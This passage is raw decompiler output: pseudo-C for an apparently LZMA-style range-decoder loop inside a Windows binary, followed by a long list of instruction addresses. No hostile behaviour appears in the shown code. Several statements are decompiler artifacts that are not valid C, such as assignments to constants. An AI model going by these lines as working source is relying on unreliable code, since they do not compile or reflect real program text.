                                                    												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                    												__eflags =  *(__ebp - 0xc) - __ecx;
                                                    												if( *(__ebp - 0xc) >= __ecx) {
                                                    													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                    													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                    													__cx = __ax;
                                                    													_t170 = __edx + 1; // 0x1
                                                    													__ebx = _t170;
                                                    													__cx = __ax >> 5;
                                                    													__eflags = __eax;
                                                    													 *__esi = __ax;
                                                    												} else {
                                                    													 *(__ebp - 0x10) = __ecx;
                                                    													0x800 = 0x800 - __edi;
                                                    													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                    													__ebx = __ebx + __ebx;
                                                    													 *__esi = __cx;
                                                    												}
                                                    												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    												 *(__ebp - 0x44) = __ebx;
                                                    												if( *(__ebp - 0x10) >= 0x1000000) {
                                                    													continue;
                                                    												} else {
                                                    													L53:
                                                    													goto L46;
                                                    												}
                                                    											}
                                                    											L54:
                                                    											_t173 = __ebp - 0x34;
                                                    											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
                                                    											__eflags =  *_t173;
                                                    											goto L55;
                                                    										case 0xf:
                                                    											L58:
                                                    											__eflags =  *(__ebp - 0x6c);
                                                    											if( *(__ebp - 0x6c) == 0) {
                                                    												L161:
                                                    												 *(__ebp - 0x88) = 0xf;
                                                    												goto L170;
                                                    											}
                                                    											L59:
                                                    											__ecx =  *(__ebp - 0x70);
                                                    											__eax =  *(__ebp - 0xc);
                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											_t203 = __ebp - 0x70;
                                                    											 *_t203 =  *(__ebp - 0x70) + 1;
                                                    											__eflags =  *_t203;
                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											L60:
                                                    											__eflags = __ebx - 0x100;
                                                    											if(__ebx >= 0x100) {
                                                    												L55:
                                                    												__al =  *(__ebp - 0x44);
                                                    												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
                                                    												goto L56;
                                                    											}
                                                    											L61:
                                                    											__eax =  *(__ebp - 0x58);
                                                    											__edx = __ebx + __ebx;
                                                    											__ecx =  *(__ebp - 0x10);
                                                    											__esi = __edx + __eax;
                                                    											__ecx =  *(__ebp - 0x10) >> 0xb;
                                                    											__ax =  *__esi;
                                                    											 *(__ebp - 0x54) = __esi;
                                                    											__edi = __ax & 0x0000ffff;
                                                    											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                    											__eflags =  *(__ebp - 0xc) - __ecx;
                                                    											if( *(__ebp - 0xc) >= __ecx) {
                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                    												__cx = __ax;
                                                    												_t217 = __edx + 1; // 0x1
                                                    												__ebx = _t217;
                                                    												__cx = __ax >> 5;
                                                    												__eflags = __eax;
                                                    												 *__esi = __ax;
                                                    											} else {
                                                    												 *(__ebp - 0x10) = __ecx;
                                                    												0x800 = 0x800 - __edi;
                                                    												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                    												__ebx = __ebx + __ebx;
                                                    												 *__esi = __cx;
                                                    											}
                                                    											__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    											 *(__ebp - 0x44) = __ebx;
                                                    											if( *(__ebp - 0x10) >= 0x1000000) {
                                                    												goto L60;
                                                    											} else {
                                                    												L65:
                                                    												goto L58;
                                                    											}
                                                    										case 0x10:
                                                    											L109:
                                                    											__eflags =  *(__ebp - 0x6c);
                                                    											if( *(__ebp - 0x6c) == 0) {
                                                    												L165:
                                                    												 *(__ebp - 0x88) = 0x10;
                                                    												goto L170;
                                                    											}
                                                    											L110:
                                                    											__ecx =  *(__ebp - 0x70);
                                                    											__eax =  *(__ebp - 0xc);
                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											_t365 = __ebp - 0x70;
                                                    											 *_t365 =  *(__ebp - 0x70) + 1;
                                                    											__eflags =  *_t365;
                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											goto L111;
                                                    										case 0x11:
                                                    											L69:
                                                    											__esi =  *(__ebp - 0x58);
                                                    											 *(__ebp - 0x84) = 0x12;
                                                    											goto L132;
                                                    										case 0x12:
                                                    											L128:
                                                    											__eflags =  *(__ebp - 0x40);
                                                    											if( *(__ebp - 0x40) != 0) {
                                                    												L131:
                                                    												__eax =  *(__ebp - 0x58);
                                                    												 *(__ebp - 0x84) = 0x13;
                                                    												__esi =  *(__ebp - 0x58) + 2;
                                                    												L132:
                                                    												 *(_t644 - 0x54) = _t642;
                                                    												goto L133;
                                                    											}
                                                    											L129:
                                                    											__eax =  *(__ebp - 0x4c);
                                                    											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
                                                    											__ecx =  *(__ebp - 0x58);
                                                    											__eax =  *(__ebp - 0x4c) << 4;
                                                    											__eflags = __eax;
                                                    											__eax =  *(__ebp - 0x58) + __eax + 4;
                                                    											goto L130;
                                                    										case 0x13:
                                                    											L141:
                                                    											__eflags =  *(__ebp - 0x40);
                                                    											if( *(__ebp - 0x40) != 0) {
                                                    												L143:
                                                    												_t469 = __ebp - 0x58;
                                                    												 *_t469 =  *(__ebp - 0x58) + 0x204;
                                                    												__eflags =  *_t469;
                                                    												 *(__ebp - 0x30) = 0x10;
                                                    												 *(__ebp - 0x40) = 8;
                                                    												L144:
                                                    												 *((intOrPtr*)(__ebp - 0x7c)) = 0x14;
                                                    												L145:
                                                    												 *(_t644 - 0x50) = 1;
                                                    												 *(_t644 - 0x48) =  *(_t644 - 0x40);
                                                    												goto L149;
                                                    											}
                                                    											L142:
                                                    											__eax =  *(__ebp - 0x4c);
                                                    											__ecx =  *(__ebp - 0x58);
                                                    											__eax =  *(__ebp - 0x4c) << 4;
                                                    											 *(__ebp - 0x30) = 8;
                                                    											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
                                                    											L130:
                                                    											 *(__ebp - 0x58) = __eax;
                                                    											 *(__ebp - 0x40) = 3;
                                                    											goto L144;
                                                    										case 0x14:
                                                    											L156:
                                                    											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
                                                    											__eax =  *(__ebp - 0x80);
                                                    											while(1) {
                                                    												L140:
                                                    												 *(_t644 - 0x88) = _t537;
                                                    												goto L1;
                                                    											}
                                                    										case 0x15:
                                                    											L91:
                                                    											__eax = 0;
                                                    											__eflags =  *(__ebp - 0x38) - 7;
                                                    											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                    											__al = __al & 0x000000fd;
                                                    											__eax = (__eflags >= 0) - 1 + 0xb;
                                                    											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
                                                    											goto L120;
                                                    										case 0x16:
                                                    											goto L0;
                                                    										case 0x17:
                                                    											while(1) {
                                                    												L145:
                                                    												 *(_t644 - 0x50) = 1;
                                                    												 *(_t644 - 0x48) =  *(_t644 - 0x40);
                                                    												goto L149;
                                                    											}
                                                    										case 0x18:
                                                    											goto L146;
                                                    										case 0x19:
                                                    											L94:
                                                    											__eflags = __ebx - 4;
                                                    											if(__ebx < 4) {
                                                    												L98:
                                                    												 *(__ebp - 0x2c) = __ebx;
                                                    												L119:
                                                    												_t393 = __ebp - 0x2c;
                                                    												 *_t393 =  *(__ebp - 0x2c) + 1;
                                                    												__eflags =  *_t393;
                                                    												L120:
                                                    												__eax =  *(__ebp - 0x2c);
                                                    												__eflags = __eax;
                                                    												if(__eax == 0) {
                                                    													L166:
                                                    													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
                                                    													goto L170;
                                                    												}
                                                    												L121:
                                                    												__eflags = __eax -  *(__ebp - 0x60);
                                                    												if(__eax >  *(__ebp - 0x60)) {
                                                    													goto L171;
                                                    												}
                                                    												L122:
                                                    												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
                                                    												__eax =  *(__ebp - 0x30);
                                                    												_t400 = __ebp - 0x60;
                                                    												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
                                                    												__eflags =  *_t400;
                                                    												goto L123;
                                                    											}
                                                    											L95:
                                                    											__ecx = __ebx;
                                                    											__eax = __ebx;
                                                    											__ecx = __ebx >> 1;
                                                    											__eax = __ebx & 0x00000001;
                                                    											__ecx = (__ebx >> 1) - 1;
                                                    											__al = __al | 0x00000002;
                                                    											__eax = (__ebx & 0x00000001) << __cl;
                                                    											__eflags = __ebx - 0xe;
                                                    											 *(__ebp - 0x2c) = __eax;
                                                    											if(__ebx >= 0xe) {
                                                    												L97:
                                                    												__ebx = 0;
                                                    												 *(__ebp - 0x48) = __ecx;
                                                    												L102:
                                                    												__eflags =  *(__ebp - 0x48);
                                                    												if( *(__ebp - 0x48) <= 0) {
                                                    													L107:
                                                    													__eax = __eax + __ebx;
                                                    													 *(__ebp - 0x40) = 4;
                                                    													 *(__ebp - 0x2c) = __eax;
                                                    													__eax =  *(__ebp - 4);
                                                    													__eax =  *(__ebp - 4) + 0x644;
                                                    													__eflags = __eax;
                                                    													L108:
                                                    													__ebx = 0;
                                                    													 *(__ebp - 0x58) = __eax;
                                                    													 *(__ebp - 0x50) = 1;
                                                    													 *(__ebp - 0x44) = 0;
                                                    													 *(__ebp - 0x48) = 0;
                                                    													L112:
                                                    													__eax =  *(__ebp - 0x40);
                                                    													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                    													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
                                                    														L118:
                                                    														_t391 = __ebp - 0x2c;
                                                    														 *_t391 =  *(__ebp - 0x2c) + __ebx;
                                                    														__eflags =  *_t391;
                                                    														goto L119;
                                                    													}
                                                    													L113:
                                                    													__eax =  *(__ebp - 0x50);
                                                    													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                    													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                    													__eax =  *(__ebp - 0x58);
                                                    													__esi = __edi + __eax;
                                                    													 *(__ebp - 0x54) = __esi;
                                                    													__ax =  *__esi;
                                                    													__ecx = __ax & 0x0000ffff;
                                                    													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
                                                    													__eflags =  *(__ebp - 0xc) - __edx;
                                                    													if( *(__ebp - 0xc) >= __edx) {
                                                    														__ecx = 0;
                                                    														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
                                                    														__ecx = 1;
                                                    														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
                                                    														__ebx = 1;
                                                    														__ecx =  *(__ebp - 0x48);
                                                    														__ebx = 1 << __cl;
                                                    														__ecx = 1 << __cl;
                                                    														__ebx =  *(__ebp - 0x44);
                                                    														__ebx =  *(__ebp - 0x44) | __ecx;
                                                    														__cx = __ax;
                                                    														__cx = __ax >> 5;
                                                    														__eax = __eax - __ecx;
                                                    														__edi = __edi + 1;
                                                    														__eflags = __edi;
                                                    														 *(__ebp - 0x44) = __ebx;
                                                    														 *__esi = __ax;
                                                    														 *(__ebp - 0x50) = __edi;
                                                    													} else {
                                                    														 *(__ebp - 0x10) = __edx;
                                                    														0x800 = 0x800 - __ecx;
                                                    														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
                                                    														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                    														 *__esi = __dx;
                                                    													}
                                                    													__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    													if( *(__ebp - 0x10) >= 0x1000000) {
                                                    														L111:
                                                    														_t368 = __ebp - 0x48;
                                                    														 *_t368 =  *(__ebp - 0x48) + 1;
                                                    														__eflags =  *_t368;
                                                    														goto L112;
                                                    													} else {
                                                    														L117:
                                                    														goto L109;
                                                    													}
                                                    												}
                                                    												L103:
                                                    												__ecx =  *(__ebp - 0xc);
                                                    												__ebx = __ebx + __ebx;
                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
                                                    												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                    												 *(__ebp - 0x44) = __ebx;
                                                    												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
                                                    													__ecx =  *(__ebp - 0x10);
                                                    													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                    													__ebx = __ebx | 0x00000001;
                                                    													__eflags = __ebx;
                                                    													 *(__ebp - 0x44) = __ebx;
                                                    												}
                                                    												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    												if( *(__ebp - 0x10) >= 0x1000000) {
                                                    													L101:
                                                    													_t338 = __ebp - 0x48;
                                                    													 *_t338 =  *(__ebp - 0x48) - 1;
                                                    													__eflags =  *_t338;
                                                    													goto L102;
                                                    												} else {
                                                    													L106:
                                                    													goto L99;
                                                    												}
                                                    											}
                                                    											L96:
                                                    											__edx =  *(__ebp - 4);
                                                    											__eax = __eax - __ebx;
                                                    											 *(__ebp - 0x40) = __ecx;
                                                    											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
                                                    											goto L108;
                                                    										case 0x1a:
                                                    											L56:
                                                    											__eflags =  *(__ebp - 0x64);
                                                    											if( *(__ebp - 0x64) == 0) {
                                                    												L162:
                                                    												 *(__ebp - 0x88) = 0x1a;
                                                    												goto L170;
                                                    											}
                                                    											L57:
                                                    											__ecx =  *(__ebp - 0x68);
                                                    											__al =  *(__ebp - 0x5c);
                                                    											__edx =  *(__ebp - 8);
                                                    											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                    											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                    											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                    											 *( *(__ebp - 0x68)) = __al;
                                                    											__ecx =  *(__ebp - 0x14);
                                                    											 *(__ecx +  *(__ebp - 8)) = __al;
                                                    											__eax = __ecx + 1;
                                                    											__edx = 0;
                                                    											_t192 = __eax %  *(__ebp - 0x74);
                                                    											__eax = __eax /  *(__ebp - 0x74);
                                                    											__edx = _t192;
                                                    											goto L80;
                                                    										case 0x1b:
                                                    											L76:
                                                    											__eflags =  *(__ebp - 0x64);
                                                    											if( *(__ebp - 0x64) == 0) {
                                                    												L163:
                                                    												 *(__ebp - 0x88) = 0x1b;
                                                    												goto L170;
                                                    											}
                                                    											L77:
                                                    											__eax =  *(__ebp - 0x14);
                                                    											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                    											__eflags = __eax -  *(__ebp - 0x74);
                                                    											if(__eax >=  *(__ebp - 0x74)) {
                                                    												__eax = __eax +  *(__ebp - 0x74);
                                                    												__eflags = __eax;
                                                    											}
                                                    											__edx =  *(__ebp - 8);
                                                    											__cl =  *(__eax + __edx);
                                                    											__eax =  *(__ebp - 0x14);
                                                    											 *(__ebp - 0x5c) = __cl;
                                                    											 *(__eax + __edx) = __cl;
                                                    											__eax = __eax + 1;
                                                    											__edx = 0;
                                                    											_t275 = __eax %  *(__ebp - 0x74);
                                                    											__eax = __eax /  *(__ebp - 0x74);
                                                    											__edx = _t275;
                                                    											__eax =  *(__ebp - 0x68);
                                                    											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                    											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                    											_t284 = __ebp - 0x64;
                                                    											 *_t284 =  *(__ebp - 0x64) - 1;
                                                    											__eflags =  *_t284;
                                                    											 *( *(__ebp - 0x68)) = __cl;
                                                    											L80:
                                                    											 *(__ebp - 0x14) = __edx;
                                                    											goto L81;
                                                    										case 0x1c:
                                                    											while(1) {
                                                    												L123:
                                                    												__eflags =  *(__ebp - 0x64);
                                                    												if( *(__ebp - 0x64) == 0) {
                                                    													break;
                                                    												}
                                                    												L124:
                                                    												__eax =  *(__ebp - 0x14);
                                                    												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                    												__eflags = __eax -  *(__ebp - 0x74);
                                                    												if(__eax >=  *(__ebp - 0x74)) {
                                                    													__eax = __eax +  *(__ebp - 0x74);
                                                    													__eflags = __eax;
                                                    												}
                                                    												__edx =  *(__ebp - 8);
                                                    												__cl =  *(__eax + __edx);
                                                    												__eax =  *(__ebp - 0x14);
                                                    												 *(__ebp - 0x5c) = __cl;
                                                    												 *(__eax + __edx) = __cl;
                                                    												__eax = __eax + 1;
                                                    												__edx = 0;
                                                    												_t414 = __eax %  *(__ebp - 0x74);
                                                    												__eax = __eax /  *(__ebp - 0x74);
                                                    												__edx = _t414;
                                                    												__eax =  *(__ebp - 0x68);
                                                    												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                    												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                    												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
                                                    												__eflags =  *(__ebp - 0x30);
                                                    												 *( *(__ebp - 0x68)) = __cl;
                                                    												 *(__ebp - 0x14) = _t414;
                                                    												if( *(__ebp - 0x30) > 0) {
                                                    													continue;
                                                    												} else {
                                                    													L127:
                                                    													L81:
                                                    													 *(__ebp - 0x88) = 2;
                                                    													goto L1;
                                                    												}
                                                    											}
                                                    											L167:
                                                    											 *(__ebp - 0x88) = 0x1c;
                                                    											goto L170;
                                                    									}
                                                    								}
                                                    								L171:
                                                    								_t539 = _t538 | 0xffffffff;
                                                    								goto L172;
                                                    							}
                                                    						}
                                                    					}
                                                    				}
                                                    			}















                                                    0x00407194
                                                    0x00407194
                                                    0x00407194
                                                    0x00407194
                                                    0x0040719a
                                                    0x0040719e
                                                    0x004071a2
                                                    0x004071ac
                                                    0x004071ba
                                                    0x00407490
                                                    0x00407490
                                                    0x00407493
                                                    0x0040749a
                                                    0x004074c7
                                                    0x004074c7
                                                    0x004074cb
                                                    0x00000000
                                                    0x00000000
                                                    0x004074cd
                                                    0x004074d6
                                                    0x004074dc
                                                    0x004074df
                                                    0x004074e2
                                                    0x004074e5
                                                    0x004074e8
                                                    0x004074ee
                                                    0x00407507
                                                    0x0040750a
                                                    0x00407516
                                                    0x00407517
                                                    0x0040751a
                                                    0x004074f0
                                                    0x004074f0
                                                    0x004074ff
                                                    0x00407502
                                                    0x00407502
                                                    0x00407524
                                                    0x004074c4
                                                    0x004074c4
                                                    0x004074c4
                                                    0x004074c7
                                                    0x004074cb
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00407526
                                                    0x00407526
                                                    0x0040749f
                                                    0x004074a3
                                                    0x004075db
                                                    0x004075db
                                                    0x004075e5
                                                    0x004075ed
                                                    0x004075f4
                                                    0x004075f6
                                                    0x004075fd
                                                    0x00407601
                                                    0x00407601
                                                    0x004074a9
                                                    0x004074af
                                                    0x004074b6
                                                    0x004074be
                                                    0x004074be
                                                    0x004074c1
                                                    0x00000000
                                                    0x004074c1
                                                    0x0040752b
                                                    0x00407538
                                                    0x0040753b
                                                    0x00407447
                                                    0x00407447
                                                    0x00407447
                                                    0x00406be3
                                                    0x00406be3
                                                    0x00406be3
                                                    0x00406bec
                                                    0x00000000
                                                    0x00000000
                                                    0x00406bf2
                                                    0x00406bf2
                                                    0x00000000
                                                    0x00406bf9
                                                    0x00406bfd
                                                    0x00000000
                                                    0x00000000
                                                    0x00406c03
                                                    0x00406c06
                                                    0x00406c09
                                                    0x00406c0c
                                                    0x00406c10
                                                    0x00000000
                                                    0x00000000
                                                    0x00406c16
                                                    0x00406c16
                                                    0x00406c19
                                                    0x00406c1b
                                                    0x00406c1c
                                                    0x00406c1f
                                                    0x00406c21
                                                    0x00406c22
                                                    0x00406c24
                                                    0x00406c27
                                                    0x00406c2c
                                                    0x00406c31
                                                    0x00406c3a
                                                    0x00406c4d
                                                    0x00406c50
                                                    0x00406c5c
                                                    0x00406c84
                                                    0x00406c86
                                                    0x00406c94
                                                    0x00406c94
                                                    0x00406c98
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00406c88
                                                    0x00406c88
                                                    0x00406c8b
                                                    0x00406c8c
                                                    0x00406c8c
                                                    0x00000000
                                                    0x00406c88
                                                    0x00406c5e
                                                    0x00406c62
                                                    0x00406c67
                                                    0x00406c67
                                                    0x00406c70
                                                    0x00406c78
                                                    0x00406c7b
                                                    0x00000000
                                                    0x00406c81
                                                    0x00406c81
                                                    0x00000000
                                                    0x00406c81
                                                    0x00000000
                                                    0x00406c9e
                                                    0x00406c9e
                                                    0x00406ca2
                                                    0x0040754e
                                                    0x0040754e
                                                    0x00000000
                                                    0x0040754e
                                                    0x00406ca8
                                                    0x00406cab
                                                    0x00406cbb
                                                    0x00406cbe
                                                    0x00406cc1
                                                    0x00406cc1
                                                    0x00406cc1
                                                    0x00406cc4
                                                    0x00406cc8
                                                    0x00000000
                                                    0x00000000
                                                    0x00406cca
                                                    0x00406cca
                                                    0x00406cd0
                                                    0x00406cfa
                                                    0x00406d00
                                                    0x00406d07
                                                    0x00000000
                                                    0x00406d07
                                                    0x00406cd2
                                                    0x00406cd6
                                                    0x00406cd9
                                                    0x00406cde
                                                    0x00406cde
                                                    0x00406ce9
                                                    0x00406cf1
                                                    0x00406cf4
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00406d39
                                                    0x00406d3f
                                                    0x00406d42
                                                    0x00406d4f
                                                    0x00406d57
                                                    0x00000000
                                                    0x00000000
                                                    0x00406d0e
                                                    0x00406d0e
                                                    0x00406d12
                                                    0x0040755d
                                                    0x0040755d
                                                    0x00000000
                                                    0x0040755d
                                                    0x00406d18
                                                    0x00406d1e
                                                    0x00406d29
                                                    0x00406d29
                                                    0x00406d29
                                                    0x00406d2c
                                                    0x00406d2f
                                                    0x00406d32
                                                    0x00406d37
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x004073ce
                                                    0x004073ce
                                                    0x004073d4
                                                    0x004073da
                                                    0x004073e0
                                                    0x004073fa
                                                    0x004073fd
                                                    0x00407403
                                                    0x0040740e
                                                    0x0040740e
                                                    0x00407410
                                                    0x004073e2
                                                    0x004073e2
                                                    0x004073f1
                                                    0x004073f5
                                                    0x004073f5
                                                    0x0040741a
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x0040741c
                                                    0x00407420
                                                    0x004075cf
                                                    0x004075cf
                                                    0x00000000
                                                    0x004075cf
                                                    0x00407426
                                                    0x0040742c
                                                    0x00407433
                                                    0x0040743b
                                                    0x0040743e
                                                    0x00407441
                                                    0x00407441
                                                    0x00407447
                                                    0x00407447
                                                    0x00000000
                                                    0x00000000
                                                    0x00406d5f
                                                    0x00406d5f
                                                    0x00406d61
                                                    0x00406d64
                                                    0x00406dd5
                                                    0x00406dd5
                                                    0x00406dd8
                                                    0x00406ddb
                                                    0x00406de2
                                                    0x00406dec
                                                    0x00000000
                                                    0x00406dec
                                                    0x00406d66
                                                    0x00406d66
                                                    0x00406d6a
                                                    0x00406d6d
                                                    0x00406d6f
                                                    0x00406d72
                                                    0x00406d75
                                                    0x00406d77
                                                    0x00406d7a
                                                    0x00406d7c
                                                    0x00406d81
                                                    0x00406d84
                                                    0x00406d87
                                                    0x00406d8b
                                                    0x00406d92
                                                    0x00406d95
                                                    0x00406d9c
                                                    0x00406da0
                                                    0x00406da8
                                                    0x00406da8
                                                    0x00406da8
                                                    0x00406da2
                                                    0x00406da2
                                                    0x00406da2
                                                    0x00406d97
                                                    0x00406d97
                                                    0x00406d97
                                                    0x00406dac
                                                    0x00406daf
                                                    0x00406dcd
                                                    0x00406dcd
                                                    0x00406dcf
                                                    0x00000000
                                                    0x00406db1
                                                    0x00406db1
                                                    0x00406db1
                                                    0x00406db4
                                                    0x00406db7
                                                    0x00406dba
                                                    0x00406dbc
                                                    0x00406dbc
                                                    0x00406dbc
                                                    0x00406dbf
                                                    0x00406dc2
                                                    0x00406dc4
                                                    0x00406dc5
                                                    0x00406dc8
                                                    0x00000000
                                                    0x00406dc8
                                                    0x00000000
                                                    0x00406ffe
                                                    0x00406ffe
                                                    0x00407002
                                                    0x00407020
                                                    0x00407020
                                                    0x00407023
                                                    0x0040702a
                                                    0x0040702d
                                                    0x00407030
                                                    0x00407033
                                                    0x00407036
                                                    0x00407039
                                                    0x0040703b
                                                    0x00407042
                                                    0x00407043
                                                    0x00407045
                                                    0x00407048
                                                    0x0040704b
                                                    0x0040704e
                                                    0x0040704e
                                                    0x00407053
                                                    0x00000000
                                                    0x00407053
                                                    0x00407004
                                                    0x00407004
                                                    0x00407007
                                                    0x0040700a
                                                    0x00407014
                                                    0x00000000
                                                    0x00000000
                                                    0x00407068
                                                    0x00407068
                                                    0x0040706c
                                                    0x0040708f
                                                    0x00407092
                                                    0x00407095
                                                    0x0040709f
                                                    0x0040706e
                                                    0x0040706e
                                                    0x00407071
                                                    0x00407074
                                                    0x00407077
                                                    0x00407084
                                                    0x00407087
                                                    0x00407087
                                                    0x00000000
                                                    0x00000000
                                                    0x004070ab
                                                    0x004070ab
                                                    0x004070af
                                                    0x00000000
                                                    0x00000000
                                                    0x004070b5
                                                    0x004070b5
                                                    0x004070b9
                                                    0x00000000
                                                    0x00000000
                                                    0x004070bf
                                                    0x004070bf
                                                    0x004070c1
                                                    0x004070c5
                                                    0x004070c5
                                                    0x004070c8
                                                    0x004070cc
                                                    0x00000000
                                                    0x00000000
                                                    0x0040711c
                                                    0x0040711c
                                                    0x00407120
                                                    0x00407127
                                                    0x00407127
                                                    0x0040712a
                                                    0x0040712d
                                                    0x00407137
                                                    0x00000000
                                                    0x00407137
                                                    0x00407122
                                                    0x00407122
                                                    0x00000000
                                                    0x00000000
                                                    0x00407143
                                                    0x00407143
                                                    0x00407147
                                                    0x0040714e
                                                    0x00407151
                                                    0x00407154
                                                    0x00407149
                                                    0x00407149
                                                    0x00407149
                                                    0x00407157
                                                    0x0040715a
                                                    0x0040715d
                                                    0x0040715d
                                                    0x00407160
                                                    0x00407163
                                                    0x00407166
                                                    0x00407166
                                                    0x00407169
                                                    0x00407170
                                                    0x00407175
                                                    0x00000000
                                                    0x00000000
                                                    0x00407203
                                                    0x00407203
                                                    0x00407207
                                                    0x004075a5
                                                    0x004075a5
                                                    0x00000000
                                                    0x004075a5
                                                    0x0040720d
                                                    0x0040720d
                                                    0x00407210
                                                    0x00407213
                                                    0x00407217
                                                    0x0040721a
                                                    0x00407220
                                                    0x00407222
                                                    0x00407222
                                                    0x00407222
                                                    0x00407225
                                                    0x00407228
                                                    0x00000000
                                                    0x00000000
                                                    0x00406df8
                                                    0x00406df8
                                                    0x00406dfc
                                                    0x00407569
                                                    0x00407569
                                                    0x00000000
                                                    0x00407569
                                                    0x00406e02
                                                    0x00406e02
                                                    0x00406e05
                                                    0x00406e08
                                                    0x00406e0c
                                                    0x00406e0f
                                                    0x00406e15
                                                    0x00406e17
                                                    0x00406e17
                                                    0x00406e17
                                                    0x00406e1a
                                                    0x00406e1d
                                                    0x00406e1d
                                                    0x00406e20
                                                    0x00406e23
                                                    0x00000000
                                                    0x00000000
                                                    0x00406e29
                                                    0x00406e29
                                                    0x00406e2f
                                                    0x00000000
                                                    0x00000000
                                                    0x00406e35
                                                    0x00406e35
                                                    0x00406e39
                                                    0x00406e3c
                                                    0x00406e3f
                                                    0x00406e42
                                                    0x00406e45
                                                    0x00406e46
                                                    0x00406e49
                                                    0x00406e4b
                                                    0x00406e51
                                                    0x00406e54
                                                    0x00406e57
                                                    0x00406e5a
                                                    0x00406e5d
                                                    0x00406e60
                                                    0x00406e63
                                                    0x00406e7f
                                                    0x00406e82
                                                    0x00406e85
                                                    0x00406e88
                                                    0x00406e8f
                                                    0x00406e93
                                                    0x00406e95
                                                    0x00406e99
                                                    0x00406e65
                                                    0x00406e65
                                                    0x00406e69
                                                    0x00406e71
                                                    0x00406e76
                                                    0x00406e78
                                                    0x00406e7a
                                                    0x00406e7a
                                                    0x00406e9c
                                                    0x00406ea3
                                                    0x00406ea6
                                                    0x00000000
                                                    0x00406eac
                                                    0x00406eac
                                                    0x00000000
                                                    0x00406eac
                                                    0x00000000
                                                    0x00406eb1
                                                    0x00406eb1
                                                    0x00406eb5
                                                    0x00407575
                                                    0x00407575
                                                    0x00000000
                                                    0x00407575
                                                    0x00406ebb
                                                    0x00406ebb
                                                    0x00406ebe
                                                    0x00406ec1
                                                    0x00406ec5
                                                    0x00406ec8
                                                    0x00406ece
                                                    0x00406ed0
                                                    0x00406ed0
                                                    0x00406ed0
                                                    0x00406ed3
                                                    0x00406ed6
                                                    0x00406ed6
                                                    0x00406ed6
                                                    0x00406edc
                                                    0x00000000
                                                    0x00000000
                                                    0x00406ede
                                                    0x00406ede
                                                    0x00406ee1
                                                    0x00406ee4
                                                    0x00406ee7
                                                    0x00406eea
                                                    0x00406eed
                                                    0x00406ef0
